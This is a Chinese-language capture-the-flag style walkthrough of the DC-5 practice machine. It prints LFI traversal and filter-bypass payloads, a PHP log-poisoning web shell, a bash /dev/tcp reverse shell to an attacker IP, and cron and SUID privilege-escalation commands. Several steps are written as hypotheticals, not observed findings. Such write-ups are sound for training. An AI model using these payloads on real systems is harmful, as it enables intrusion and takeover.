DC-5靶机渗透测试实战:从LFI漏洞到Root提权完整复盘 1. 项目概述一次完整的渗透测试实战复盘最近在Vulnhub上把DC-5这个靶机给拿下了整个过程挺有意思既有常规的Web渗透路径也涉及了一些需要细心观察和逻辑推理的环节。DC-5被官方定义为“中级”难度我觉得这个定位很准它不像一些纯基础入门的靶机那样直来直去也不至于像某些“地狱”难度那样需要各种骚操作。它更像是一个模拟了真实环境中可能遇到的、需要综合运用多种技能的实战场景。如果你已经熟悉了Kali Linux的基本工具玩过一两个简单的靶机想挑战一下自己看看自己的渗透测试流程是否扎实那DC-5绝对是个不错的选择。这次我就把自己从信息收集到最终提权的完整过程以及中间踩过的坑、总结的技巧详细记录下来希望能给正在学习渗透测试的朋友提供一个清晰的参考。2. 环境准备与靶机配置2.1 靶机与攻击机环境搭建首先你得有一个能运行虚拟机的环境。我使用的是VMware WorkstationVirtualBox也一样。攻击机我选择的是Kali Linux 2024.1它集成了我们需要的几乎所有工具。从Vulnhub官网下载DC-5的OVA镜像文件导入到虚拟机中。这里有个小细节建议将DC-5靶机的网络模式设置为“NAT模式”或“仅主机模式”确保它和你的Kali攻击机在同一个虚拟网络内方便我们进行扫描和攻击。启动靶机后通常它会显示一个登录界面或者直接获取到一个IP地址。对于DC-5它默认不会显示IP所以我们需要自己找。2.2 确定靶机IP地址这是渗透测试的第一步信息收集。在Kali中打开终端使用netdiscover或arp-scan来扫描当前网段内存活的设备。我习惯用这个命令sudo netdiscover -r 192.168.1.0/24请将192.168.1.0/24替换成你虚拟机网络的实际网段比如VMware NAT模式常见的是192.168.xxx.0/24。扫描结果中你会看到一个非你Kali本机、也非网关的IP地址那很可能就是DC-5靶机。记下这个IP假设我们找到的是192.168.1.105。注意不同虚拟化软件和网络设置下网段可能不同。如果netdiscover没结果可以检查下Kali的IPip a然后扫描对应的网段。确保靶机已完全启动通常需要一两分钟。3. 全方位信息收集与漏洞初探3.1 端口与服务扫描拿到IP后下一步就是搞清楚靶机对外开放了哪些“门”端口以及门上挂着什么“锁”服务。最强大的工具非Nmap莫属。我们先进行一次快速扫描了解开放端口概况sudo nmap -sS -T4 192.168.1.105-sS是SYN半开放扫描速度快且相对隐蔽-T4指定扫描速度。结果可能会显示开放了80端口HTTP服务和可能的其他端口。为了获取更详细的信息我们再进行一次全面扫描sudo nmap -sV -sC -O -p- 192.168.1.105这个命令参数有点多我来解释一下-sV: 探测服务版本知道是Apache 2.x还是Nginx对后续漏洞利用很重要。-sC: 使用默认的Nmap脚本进行漏洞检测有时能直接发现一些已知漏洞。-O: 尝试识别操作系统。-p-: 扫描所有65535个端口确保没有遗漏。扫描结果显示DC-5很可能只开放了80端口运行着HTTP服务。这意味着我们的主要攻击面很可能就在这个网站上。3.2 Web应用初步侦察用浏览器访问http://192.168.1.105。DC-5的网站看起来像是一个简单的企业宣传站或者博客有首页、关于我们、联系我们等页面。第一步查看网页源代码看看有没有注释掉的敏感信息、隐藏的路径或JS文件泄露的接口。第二步使用目录爆破工具寻找隐藏的目录或文件。我常用的是gobustergobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,html,txtdir: 指定进行目录扫描。-u: 指定目标URL。-w: 指定字典文件这里用了Kali自带的common.txt。-x: 指定尝试的文件扩展名。这个扫描可能会花点时间。在等待结果的同时我们可以手动浏览各个页面特别是带有参数传递的页面比如contact.php?namexxx观察其功能。DC-5的“联系我们”页面可能是一个表单这就是一个潜在的输入点。4. 漏洞挖掘与利用突破Web防线4.1 发现文件包含漏洞在手动测试和目录扫描结果中需要特别留意URL参数。DC-5的一个关键突破口在于其“文件包含”漏洞。你可能会在访问某些页面时在URL中看到类似于?filefooter.php这样的参数。这提示应用程序可能通过这个file参数来动态包含文件内容。文件包含漏洞分为本地文件包含和远程文件包含。LFI允许我们读取服务器上的敏感文件比如/etc/passwd。我们可以尝试构造这样的Payloadhttp://192.168.1.105/somepage.php?file../../../../etc/passwd通过使用../进行目录遍历尝试跳出Web根目录读取系统文件。如果页面内容中显示了/etc/passwd文件的内容可以看到系统用户列表那么就确认存在LFI漏洞。这是DC-5渗透的第一个关键点。4.2 利用LFI获取更多信息确认LFI后我们可以用它来读取Web服务器的日志文件、配置文件等以获取更多信息。例如读取Apache的访问日志http://192.168.1.105/somepage.php?file../../../../var/log/apache2/access.log访问日志记录了每个访问请求包括User-Agent头。如果我们能控制User-Agent比如通过Burp Suite拦截并修改请求并将PHP代码写入User-Agent字段那么这段代码就会被记录到日志文件中。然后我们再通过LFI漏洞去包含这个日志文件服务器就会执行我们写入的PHP代码。这就实现了从LFI到远程代码执行的跨越。另一种常见的利用方式是包含/proc/self/environ文件这个文件包含了当前进程的环境变量其中HTTP_USER_AGENT也是我们可以控制的。或者如果网站允许文件上传我们可以上传一个图片马然后通过LFI包含它来执行代码。在DC-5中结合日志注入是一种典型手法。实操心得在测试LFI时字典很重要。除了常见的/etc/passwd可以尝试/etc/hosts,/proc/self/environ, 各种日志路径/var/log/apache2/access.log,/var/log/nginx/access.log等。同时要注意编码问题有时需要将../编码为..%2f或..%252f来绕过简单的过滤。4.3 获取初始Shell假设我们通过修改User-Agent为?php system($_GET[‘cmd’]); ?并访问网站将代码注入到了access.log。然后通过LFI包含这个日志文件http://192.168.1.105/somepage.php?file../../../../var/log/apache2/access.logcmdid如果页面上返回了id命令的执行结果显示当前用户为www-data那么恭喜我们有了命令执行能力。接下来就是获取一个反向Shell以便我们有一个交互式的命令行环境。在Kali上监听一个端口nc -lvnp 4444然后通过漏洞执行一个反向Shell命令。这里提供一个经过URL编码的Bash反向Shell Payloadhttp://192.168.1.105/somepage.php?file../../../../var/log/apache2/access.logcmdbash-cbash-i%26/dev/tcp/192.168.1.102/44440%261请将192.168.1.102替换为你Kali攻击机的IP。如果成功你会在nc监听端看到连接并得到一个www-data用户的Shell。5. 权限提升从www-data到root5.1 内部信息收集拿到www-data的Shell后我们还在一个受限的Web服务账户下。下一步就是进行权限提升。首先在靶机内部进行详细的信息收集whoami和id: 确认当前用户和所属组。uname -a: 查看内核版本寻找内核漏洞提权机会。sudo -l: 查看当前用户能以root权限执行哪些命令需要密码。find / -type f -perm -4000 2/dev/null: 查找具有SUID权限的文件这些文件可能被滥用。cat /etc/crontab: 查看计划任务可能有自定义脚本以root权限运行。ps aux: 查看运行中的进程寻找异常或可能利用的服务。浏览Web目录寻找配置文件、备份文件、数据库凭证等。5.2 分析提权路径在DC-5中一种常见的提权路径与计划任务有关。使用cat /etc/crontab或ls -la /etc/cron.d/查看你可能会发现一个以root身份定期运行的脚本而这个脚本的位置或内容是我们有权限写入或影响的。例如假设发现一个计划任务每分钟以root身份执行/opt/scripts/cleanup.sh。而我们检查发现/opt/scripts/目录对www-data用户是可写的或者cleanup.sh脚本本身我们可以修改。那么我们就可以在这个脚本中写入提权命令比如添加一个具有SUID权限的bashecho ‘cp /bin/bash /tmp/rootbash; chmod s /tmp/rootbash’ /opt/scripts/cleanup.sh然后等待计划任务执行。执行后运行/tmp/rootbash -p就能获得一个root shell。5.3 利用SUID或环境变量提权另一种情况是通过信息收集发现某个具有SUID权限的程序比如find,vim,bash等并且这个程序的行为可以被我们控制。例如如果/usr/bin/find有SUID位我们可以用它来执行命令find . -exec /bin/bash -p \;或者如果发现一个以root权限运行的程序它调用了某个我们能够设置环境变量的命令也可能通过环境变量劫持来提权例如利用LD_PRELOAD。在DC-5的渗透中需要仔细分析收集到的信息结合靶机设计者的意图找到那条正确的提权路径。这可能需要对发现的脚本进行代码审计看看是否存在命令注入、不安全的文件操作等问题。注意事项在真实环境中提权操作需要格外谨慎避免破坏系统稳定性。在靶场中可以大胆尝试。每次尝试修改系统文件前最好先备份。如果一种方法不行回头仔细检查信息收集是否全面或许漏掉了某个细节。6. 常见问题与排查技巧实录6.1 网络连通性问题问题Kali无法ping通靶机IP。排查确认两者网络模式同为NAT或仅主机模式。分别检查Kali (ip a) 和靶机启动后按回车尝试输入ip addr查看的IP地址是否在同一网段。关闭防火墙在Kali上sudo systemctl stop firewalld(如果使用firewalld) 或sudo ufw disable(如果使用UFW)。靶机一般无需操作。重启网络服务或虚拟机。6.2 端口扫描无结果问题Nmap扫描显示所有端口关闭或过滤。排查确认靶机已完全启动等待几分钟。使用netdiscover或arp-scan再次确认IP地址是否正确。尝试使用-Pn参数让Nmap跳过主机发现直接扫描端口nmap -Pn 192.168.1.105。检查靶机虚拟机设置中网络适配器是否已连接。6.3 LFI漏洞利用失败问题尝试包含/etc/passwd等文件时页面空白、报错或回显异常。排查路径问题Web根目录可能较深需要更多的../。尝试../../../../../../etc/passwd。过滤绕过程序可能过滤了../。尝试URL编码..%2f..%2f..%2f..%2fetc%2fpasswd或双重编码..%252f..%252fetc%252fpasswd。绝对路径包含有些PHP配置允许包含绝对路径。尝试直接/etc/passwd较少见。使用PHP包装器尝试使用php://filter来读取文件内容例如?filephp://filter/convert.base64-encode/resourceindex.php这样会以base64编码形式返回文件内容可以绕过一些显示限制。6.4 反向Shell连接不上问题执行了反向Shell命令但Kali上的nc没有收到连接。排查命令错误反向Shell命令可能因靶机环境bash版本、nc是否存在而异。多准备几种Payload如Python、PHP、Perl版本。编码问题通过URL传递时确保特殊字符如,,|被正确编码。使用Burp Suite的Repeater模块可以方便地编辑和发送编码后的请求。防火墙/出站限制靶机可能限制了出站连接。尝试使用其他端口如53, 443, 8080这些端口常用于出口过滤。监听设置确保Kali上的nc监听命令正确且没有其他程序占用该端口。6.5 提权尝试受阻问题找到了计划任务或SUID文件但无法修改或利用。排查权限不足用ls -la仔细查看目标文件/目录的权限。www-data用户是否真的有写权限有时看起来属于www-data组但组权限是r-x只读执行。脚本内容不可控计划任务执行的脚本可能只是调用另一个我们无法修改的二进制文件。需要深入分析脚本逻辑。缺少依赖工具想用的提权exp可能在靶机上没有编译环境。可以尝试在Kali上编译好通过Python的HTTP模块搭建简易服务器 (python3 -m http.server 80)然后在靶机上下载 (wget http://your-kali-ip/exp) 并执行。尝试其他方法如果一条路走不通重新审视信息收集结果。内核版本是否对应有公开的提权漏洞是否有错误的sudo配置数据库凭证能否用来登录其他高权限用户渗透测试就像解谜DC-5这个靶机设计得环环相扣。最大的体会就是信息收集的全面性和耐心至关重要。任何一个看似无关的细节比如一个不起眼的日志文件、一个权限宽松的脚本目录都可能成为通往root的钥匙。不要满足于拿到一个低权限shell就止步系统地枚举、大胆地假设、小心地验证这才是实战中提升能力的正确方式。